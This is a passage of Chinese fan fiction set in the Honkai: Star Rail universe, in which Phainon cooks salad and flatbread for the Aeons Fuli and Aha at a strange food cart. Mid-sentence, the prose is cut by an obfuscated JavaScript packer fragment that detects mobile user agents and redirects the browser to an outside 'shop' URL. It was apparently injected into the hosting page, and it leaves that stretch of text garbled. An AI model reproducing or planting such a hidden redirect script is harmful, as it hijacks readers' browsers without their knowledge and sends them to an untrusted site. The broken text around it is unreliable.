白厄猛地闭上眼睛,重重地呼了一口气,缓了一会儿才睁开眼睛。 来客依然沉默着,金色的眼眸亘古如一,却不再有毁灭的意志顺着视线传递。祂微微动了下手指,金色的火焰在两盘菜品上燃烧起来,一捧灰烬飘散后,盘子已经光洁如新。 红色面具蹦跳着扑灭了顺着细线烧上来的金色火焰,大声嚷嚷起来:“浪费,实在太浪费了!你不吃可以给阿哈吃,阿哈也好奇是什么味道……不对,面具没有嘴巴,阿哈吃不了!哈哈哈太有意思了,原来阿哈现在连香香酥酥帕姆派都不能吃了!” 阿哈,欢愉命途的开创者,身为星神但你是不是太活泼了一点?还有香香酥酥帕姆派又是什么东西啊?白厄忍不住心想。 叮当。 挂在餐车上的风铃又响了一声,毁灭的身影渐渐淡去,一道琉璃身躯、折射彩光、冠冕垂珠的身影取而代之。 白厄微微睁大眼睛。 是岁月泰坦?不,是开拓者口中的,天外的记忆星神,浮黎。 004 那道琉璃般折射光彩的身影看起来圣洁而富有神性,但当一个圣洁而富有神性的身影坐在塑料小板凳上的时候,这场景……白厄停顿了一下,礼貌地移开了目光。 红色面具“啧啧”两声,似乎发现了什么有趣的事情,祂承担起服务员的职责,十分积极地询问道:“吃点什么?错过这次点单,可就很难再有机会喽。” 那道身影微微抬头,悬垂的珠串泛着柔和的光芒,白厄错觉般从那并无五官的面容上看到了温柔的神色,然而对方说出的内容却令人难以理解:“秘往岁花的桃涟哀榭麦昔田漪月飞丽子。” 白厄:“?” 好像听见了熟悉的词汇,不确定,再听听。 那道身影停顿了一下,又说:“墓开者结收终毁诞下起梢铁灭拓始。” 白厄:“……” 他将词句在脑海中重新排列组合,半天也只抠出“开拓者”和“铁墓”两个词。难道星神和常人不用一套语言体系?可阿哈说话明明很正常啊。 “救天择归生于才明牺塔选尽黑拯新同牲天?”琉璃般的身影微微歪头,竟然是个苦恼思考般的动作,“收田始塔天哀墓铁于同桃丽起归拯花月毁天尽麦者灭明往?” 白厄:“……” 听不懂,完全听不懂,这位记忆冕下到底是想说什么? 似乎从白厄的反应中看出了回答,琉璃色的身影不再试图说些什么,隔着餐车的阻挡,以无形的视线注视着一切,而后,无数似冰似镜的切面上流淌下恍若实质的银色微光,如同泪滴。 “……” 她不再言语,交叠双手,安静坐好,享受着这份只有一人知晓的,意料之外的告别。 005 红色面具凑上去煞有介事地倾听片刻,很快又窜了回来,道:“阿哈听懂啦,她想吃你做的沙拉和烙饼!” 白厄半信半疑地看了红色面具一眼,想不通天外的星神为什么会想吃哀丽秘榭的乡下菜,不过如果换成昔涟在这里,也许会说出“因为这些菜里凝聚了我们美好的回忆,连星神也想尝尝看呢”这种话吧。 ……为什么忽然想到了昔涟? 白厄甩了甩头,收拢思绪,拉开了左边的抽屉。 蔬菜、面粉、各种调料,甚至还有一套崭新的厨具。餐车似乎认可了阿哈的代理点单,并准备了相应的材料。 “好吧,这些可是我的拿手料理,我会全力以赴的。”白厄主厨稍稍挽起袖子,燃起了熊熊斗志。比起毁灭那个不点人菜他也不想招待的顾客,记忆浮黎好歹还像个人,既然如此,他也不介意做好主厨该做的事情。 蔬菜新鲜水灵,只需清洗一遍再稍作择选就能放入餐盘,摆成花朵绽放形状的蔬菜上点缀两颗鲜红的小番茄,再淋上琥珀色的酱汁,就成了一道清脆鲜爽的美味。 面粉由哀丽秘榭的麦子磨制而成,在水的糅合下变得富有韧性,将揉好的面饼摁扁擀平,再放入升腾热气的锅中,很快,宣软的面饼就散发出混合着烟火气的麦子香气。 白厄利落地将沙拉和烙饼装盘放好, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17048719|194770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在剩余的材料中挑挑拣拣,习惯性地榨了一杯蔬果橄榄汁一同放在琉璃色的身影面前,他随手擦了下蹭到脸颊上的面粉,露出一个自己也没察觉到的轻快笑容。 “好了,哀丽秘榭的沙拉和烙饼,请品尝。” 琉璃色的身影轻轻抬手,于是两盘美食上蔓延起镜子折射般的光芒,而后镜子破碎成万千道碎屑,渐渐消失在空气中。 白厄看着光洁如新的盘子,不由得陷入了“星神是不是都这么吃饭”的迷思。 红色面具再一次发挥了嘴替的功能:“阿哈,她说沙拉和烙饼很好吃,她很喜欢!哈哈哈,就是这样,要欢笑,就算离别也要欢笑!” 白厄下意识抬头看去,只见琉璃色的身影轻轻点头,似乎在表示赞同。 叮当。 风铃声轻轻响起,琉璃色的身影也消失了。 白厄忽然有些惆怅。明明对方是只见了一面的未知星神,他却像是送别了一位老友,从此命运回环始终,再难有相见的一天。 006 送走浮黎,天上的太阳——开拓者版本——如指针般向下跳动了一大截,淡淡暮色染上天边,昭示了这一天即将结束。 白厄将光洁的盘子收回来塞进左边抽屉,一阵不能细想的咀嚼声后,他再拉开抽屉,里面已经空无一物。 “风铃声响起代表了客人光临,这次的客人呢?”白厄擦了擦手,有些疑惑地探出头,四处张望了一下。 “啊哈。”一张红色面具忽然贴脸,画似的嘴角高高扬起,故作惊慌道,“哎呀哎呀,客人怎么不见了,但祂已经来了,到底在哪里……你不如猜猜看?” 很好,现在不用猜了。白厄伸手将答案本尊从脸前推开,动作十分不客气。纵然对方是寰宇顶点的星神,相处一天见多了对方撒泼打滚活蹦乱跳的脱线操作后,他实在生不出什么敬畏的心思。 红色面具轻飘飘地穿过空气墙,悬在了塑料板凳的上方,一条微不可察的透明细线自面具背后向上延伸,又消失在虚空中。随着细线轻轻抖动,面具活泼地翻滚几圈,笑嘻嘻道:“阿哈是第三个客人,但为了更多的快乐,阿哈提前来见你了,开不开心?” 是为了你的开心,还是我的开心?白厄心中摇摇头,但阿哈看似捣乱的许多举动确实帮助了他,于是又点了点头,认真回答道:“开心。” 红色面具的眼角弯得更厉害了,祂笑着说:“你说的是真话!没面子的阿哈终于有面子了一次,作为报答,啊哈决定告诉你世界的真相。” 白厄眨了眨眼,道:“没面子……?世界的真相?” “没错,‘阿哈真没面子’只是个供人玩笑、传播的梗,自从模拟宇宙的文本出来之后,阿哈在很多很多‘载体’里的面子就完全消失了,不过只要能给观众带来一丝欢愉,阿哈可以原谅他们,哈哈哈哈。” 红色面具的话变得有些令人难以理解。 “至于世界的真相……我们本该是个游戏的,但我们现在只是篇小说。难得给阿哈面子的‘载体’却只是一篇摆子作者写下的扑街小说,哈哈,哈哈哈,阿哈真没面子!” 白厄想了想,终于明白了红色面具在说什么。 “你是说,无名客所在的天外也只是一个更大的翁法罗斯,他们的存在,在某些‘观众’的眼里也不是真实的?” “是啊是啊,这可是寰宇都罕有人知的大秘密,你出去后不要说是阿哈告诉你的。”红色面具停顿一下,又笑了起来,笑得面具满空气打滚,“不对不对,这篇小说要完结了,我们都没机会再说出这个秘密啦!” 没有机会?“完结”之后会发生什么不祥的事情吗?白厄微微皱眉,在短暂权衡后决定相信这位语出惊人的星神,冷静地询问道:“我尚未完全理解你的意思,但现状如此,我们还能做什么去挽回这个结果吗?” “也许让这一天永远不结束可以?让阿哈点一些绝对无法完成的菜品?可是无法实现的菜品会自动降级,直到能被你做出来……”红色面具疯疯癫癫地嘟囔着,很快又大笑起来,“我要吃断成两截的星穹列车!不不不,我要吃呆子筑的墙……等等这个是不是太难吃了,阿哈不想为难自己,有了!阿哈想吃香香酥酥帕姆派,最糟糕的无名客想见列车长大人了!” 左边抽屉里传来叮呤咣啷的声音,谨慎起见,白厄没有动。 一人一面具安静地对视着, “噗呲。”红色忽然笑了,“咦?你不会信了吧?不会吧不会吧?” 白厄仍然没有动,他定定地看着红色面具,似乎在分辨真假,又似乎准备一直这样等待下去。 不知过去多久,红色面具抖动五官翻了个白眼,笑嘻嘻道:“不愧是卡了这么多次轮回bug的救世主,性子果然倔的和呆子、疯子有一拼,好吧好吧,阿哈真的在逗你玩,只是在找乐子而已,今天之后你就能回到翁法罗斯,这个世界不会‘嘎嘣’一下死掉的。” 白厄道:“为什么?” 红色面具笑着说:“好问题,但阿哈也不知道!哈哈哈哈……诶诶,禁止向客人丢厨具,禁止丢菜叶,用剩下的面糊也不行!哎这个空气墙怎么除了人什么都拦不住……” 一人一面具如小学生般捡着食材厨具打了起来,打架时气势可嘉但伤害为零。终于,在阿哈大声嚷嚷着“12+游戏不允许诱导浪费粮食,二创也不行”的声音中,挂了一脑门菜叶的两人(?)暂时休战,隔着空气墙坐在了一起。 白厄捋掉挂在头发上的面糊,将其握在手心,目光炯炯地盯着红色面具。 红色面具抖了抖细线上挂着的菜叶子,像是被自己的滑稽模样逗笑了,嘻嘻哈哈了好一阵子都没有正经说话,直到白厄有再次开启大战的动作前兆时,才老老实实地飘回了塑料板凳上方。 红色面具清了清嗓子,一本正经道:“因为我们是个温柔的世界啊。” 白厄怀疑自己听错了:“你在说什么……?” 红色面具抬高了声音:“都说了这是个搞笑文了,哪来那么多黑深残?故事完结后当然是各回各家,世界会在被‘故事’遗忘的角落一直一直存在下去,就算最终被‘观众’甚至‘作者’遗忘,但我们又不是死了!” 看着白厄仍然带着思考的表情,红色面具贴着空气墙大声嚷嚷。 “要想回去再想,反正这篇小说的设定是这样的。快快快拉开抽屉,那个摆子作者给阿哈准备的香香酥酥帕姆派还在里面呢,要是一会因为放得太久不热腾腾香酥酥了,阿哈就在此卧底进无名客里炸一次列车!” 星穹列车:“?” 挂在天上的开拓者终于忍不住大声道:“我还听着呢,不要当众密谋啊!” 美食的香气随着太阳的余晖一起消失,一日主厨和星神阿哈都离开了这片稀奇古怪的世界。但故事会有终点,宴席终有散时,可因此而生的世界,却会在“观众”的视线之外,一直一直地延续下去。 开拓者:“……?” 开拓者:“等等,你是不是忘了谁,我还挂在天上啊!”